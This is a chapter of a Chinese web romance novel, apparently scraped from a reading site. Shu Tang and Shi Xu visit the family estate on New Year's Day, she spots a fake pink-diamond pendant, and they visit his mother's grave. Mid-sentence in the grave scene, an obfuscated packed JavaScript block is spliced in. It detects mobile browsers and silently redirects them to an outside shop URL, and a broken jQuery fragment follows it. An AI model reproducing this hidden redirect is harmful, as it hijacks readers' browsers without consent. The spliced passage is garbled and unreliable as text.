大年初一这天,书棠不到六点,被外面震天响的鞭炮声吵醒。

    星川市前几年为了保护环境,禁止燃放烟花爆竹,书棠每每都是被老佛爷的敲门声震醒的。

    本以为今年没回老宅过年,初一早上能睡个好觉,谁知道今年政策放开,挨家挨户图个好兆头都开始放炮仗。

    初一早上本来应该吃个饺子,可书棠和时绪都不是愿意大早上动弹的人。

    两人盯着那袋子还没开封的面粉发了会楞,随后对视一眼,开始默契地收拾东西准备往老宅走。

    车上,书棠打了个哈欠,眼泪都出来了,“困死我了...到底是谁研究的大早上要放鞭炮啊。”

    时绪睨了她一眼,轻笑道:“那以后年兽初一早上出来吃你怎么办?”

    “那就让它吃吧。”书棠蹬开鞋子,在副驾驶上蜷了蜷身,“我去它肚子里睡觉。”

    “看你瘦的。”时绪伸手在她脸上捏了一把,连肉都没捏起多少,“年兽看了你都没胃口。”

    “我漂亮啊。”书棠不满意地拍开他的手,“没准年兽吃了我还美容呢~”

    车子稳稳驶进时家老宅,大早上来拜年的人多,什么老朋友老战友,院子里已经停了好几辆车子。

    老宅是标准的新中式格局,白墙黛瓦错落延展,深灰色飞檐微微翘起。

    时老爷子闲来无事就喜欢养养鱼养养鸟,所以院落还有一处锦鲤池,池水清透,水面浮着几片残荷,池边围置着形态古朴的太湖石。

    佣人来开车门,书棠打着哈欠下车,挽上了时绪的手臂迈进大门。

    客厅里围坐了许多人,大的小的老的少的,各个笑的合不拢嘴。

    “爷爷奶奶,爸妈,过年好。”时绪率先开了口。

    坐在正中间的老爷子耳朵不大好使,还是旁边的邵明珠提醒了一句才注意到两人来了。

    “阿绪和棠棠回来了,快坐快坐。”

    老爷子一声令下,在沙发右侧最边上坐着的一对年轻男女脸色变了变,随后换上一副笑脸,站起了身。

    “大哥大嫂回来了。”

    说话的男人叫时淇,时绪的堂弟,也是原本灿星娱乐高层动荡时最有力的竞争者。

    旁边是他的妻子陈茵。

    时绪颔首应了一声,牵着书棠落座。

    “棠棠,来吃糖。”二婶刘莹笑脸相迎,把装满色彩斑斓糖果的碟子往书棠的方向推了推。

    “谢谢二婶。”书棠最近在减脂,昨晚已经放纵了一次,今天不敢再继续多吃了。

    她伸手,挑了离自己最近的一块握紧手里。

    “阿绪这一年工作做的不错,国外的生意料理的好,回国后还接手了几个大项目,盈利不少啊。”老爷子毫不吝啬地夸奖。

    时绪年年都是一众兄弟姐妹里最得宠的人,这话其他几个时家的孩子都听习惯了,没一人放在心上。

    唯有一人,听到这话后又低了低头,不甘地朝那边看了一眼。

    “应该的,爷爷过奖了。”时绪抿了口茶。

    “哎呀,怎么光夸阿绪,别把咱们棠棠给忘了呀。”邵明珠打扮的红红火火,端着茶水过来,“咱们棠棠去年一炮而红,现在粉丝几千万了吧,还上了春晚呢。”

    话题突然引到书棠身上,她不好意思地低下头,平日里在外面应付那些人应付的得心应手,没想到跑到自己身边人这里就不会弄了。

    老爷子闻声先是一愣,随后爽朗地笑了几声,“对对对,差点把棠棠给忘了。这人红是非多,以后的路啊难走着呢,你们俩作为咱们时家的大哥大嫂,务必给弟弟妹妹们带好头啊。”

    书棠坐在那儿听了一会儿,一群人开始谈起生意上的事,她越听越觉得无趣。

    恰好,老佛爷想回房休息,书棠立马站起身,搀扶着她朝楼上走。

    “奶奶,您前几天去体检,身体怎么样?”书棠扶着她上楼。

    老佛爷叹了口气,“欸,年龄大了,身体哪能没有点毛病。没事,不打紧。”

    “怎么能不打紧呢,咱家又不是缺钱,什么病治不好呀。”

    “真的啊?”

    “这还能有假?”书棠扶她坐到床上。

    “那奶奶这儿有个心病。”老佛爷牵着她的手轻轻拍了拍,“棠棠,我知道你现在工作忙,但你跟阿绪你们结婚这么些年了,是不是也该...”

    书棠想到这个就头疼,她都不知道老佛爷是怎么把生病和生孩子联想到一起去的。

    “妈。”

    正当她对老太太期盼的眼神感到一筹莫展之际,救星终于来了。

    邵明珠拿着手机,敲了敲门走进来,“大姨的视频电话,要跟你拜年呢。”

    说着,她朝书棠递了个眼色。

    书棠立马心领神会,和姨奶奶拜完年以后,蹭地一下跑没影了。

    客厅里的聊天还没结束,书棠给时绪发了个信息,就跑到后花园来荡秋千。

    这秋千还是时安当时给时暮按的。

    后院除了几个洒扫的佣人以外没什么人,书棠慢悠悠地荡着秋千,忽然被什么东西闪了一闪。

    她下意识伸手挡了一下,看过去时,是陈茵在跟娘家人通电话。

    她背对着书棠,反射光线的是她腰上的那颗粉钻挂饰。

    这个挂饰是Noviane品牌23年秋冬季的新品,正巧当时书棠出席一个品牌方的站台活动佩戴。

    全球仅一的挂饰,被陈茵拍走了?

    可上次自己的粉丝和向雨的粉丝吵架时,自己粉丝不是还拿向雨拍下了书棠佩戴的挂饰来嘲讽过向雨捡二手货吗?

    不对!

    她从秋千上下来,特意走近了一点。

    这次看的清楚了,也更加让书棠笃定,这是假的。

    ————————

    两人没留下来吃午饭,驱车往墓园走。

    一路上车多了不少,这片地方平日里安静的不行,一到初一清明就人满为患。

    人多了喧闹声也跟着大了,偶尔掺杂着几声啜泣。

    根据钟助理发来的信息,两人很快找到了杨璐竹的墓碑。

    墓碑上的女人年轻漂亮,生命定格在了花儿一样的24岁。

    走到了杨璐竹面前,时绪嗓子眼里的那句“妈”却叫不出口了。

    他捧着一束白菊,放在了墓碑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913026|213206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前。

    书棠侧头看了他一眼,大方地喊出口:“妈妈,我是书棠,您的儿媳妇。时绪说您早就认识我了,但我觉得初次见面,还是应该做个自我介绍比较好。”

    看着书棠落落大方,蹲下身子,像对待亲生母亲一样为她素未谋面的婆婆擦着墓碑,讲着笑话,时绪的心里忽然间翻涌起了一股热浪。

    他蹲下身,握住了书棠纤细的手腕,那串佛珠从袖口滑了出来,蹭到了书棠敏感的肌肤。

    书棠下意识缩了缩手。

    “我来。”时绪从她手机接过湿巾,抬头看了眼那张黑白色的照片,唇角勾了勾,“妈,对不起,这么晚才过来看您。”

    “本来,我想趁着过年有时间,把您的墓迁进时家的墓园。不过后来我想了想,您既然不愿意让爸知道您怀了他的孩子,那也应该不太喜欢和时家人长眠在一起吧。不过这儿也挺好的,我和棠棠的婚房离这儿很近,以后逢年过节,都能来陪您说说话,不会再让您一个人孤孤单单地躺在这里了。”

    “伤害您的人,我们已经了解了。是书棠最先发现不对劲开始细查的,儿子很惭愧,这么多年居然都没发现不对劲,反而认贼作母。她是个很好的姑娘,好到我害怕现在发生地一切都是幻影,是那个圣诞夜的我冻出了幻觉。”

    说到这儿时,时绪的眼眶开始泛红。

    “妈,谢谢您让我成为了时家的儿子,谢谢您把书棠送到了我身边。”

    “妈...”他蹲在地上,平视着那张照片,单手搭在膝上,仰着头不希望眼泪流下来。

    他几度哽咽,最后才扭捏地开口:“妈妈,我...我想你了。”

    ————————

    从时绪说了几句话没多久,书棠就悄无声息地离开了。

    时绪这个人太爱在自己面前故作坚强,所以很多矫情和脆弱的话,自己在场时他未必说的出口。

    坐在车里,书棠反复去看向雨被偶遇时拍的那张照片。

    那颗粉钻就挂在她的包上,闪耀夺目,无论是火彩还是棱边打磨,都是货真价实的真品。

    可陈茵又不是没钱,怎么会买一个假的粉钻带在身上呢?

    时家的二孙媳妇带了个假货出门,要是让人发现了绝对免不了在背后嚼舌根。

    陈家是六年前新起的暴发户,陈茵衣来伸手饭来张口的日子没过几年,自然没有和别的豪门千金一样肉眼辨真假的能力。

    假如她是被人骗了,倒也说得通。

    能送的起这颗粉钻,又能让陈茵这么安心戴在身上的,只有她的丈夫时淇。

    突然,寂静地车厢里突然响起了一阵来电铃声。

    书棠吓了一跳,手忙脚乱地去接电话。

    “你在哪呢?看微博了吗?”

    电话那头是孟芷,听语气很是着急。

    “在家。”书棠随口扯了个慌,“怎么了?微博上又出什么事了。”

    “行行行,在家就行。微博上的事你别管,我马上联系公的法务,让他们联系律师尽快出一份告黑律师函。你这几天就乖乖待在家里,哪都别去。”

    交代完这一句,电话那头只余断线的“嘟嘟”声。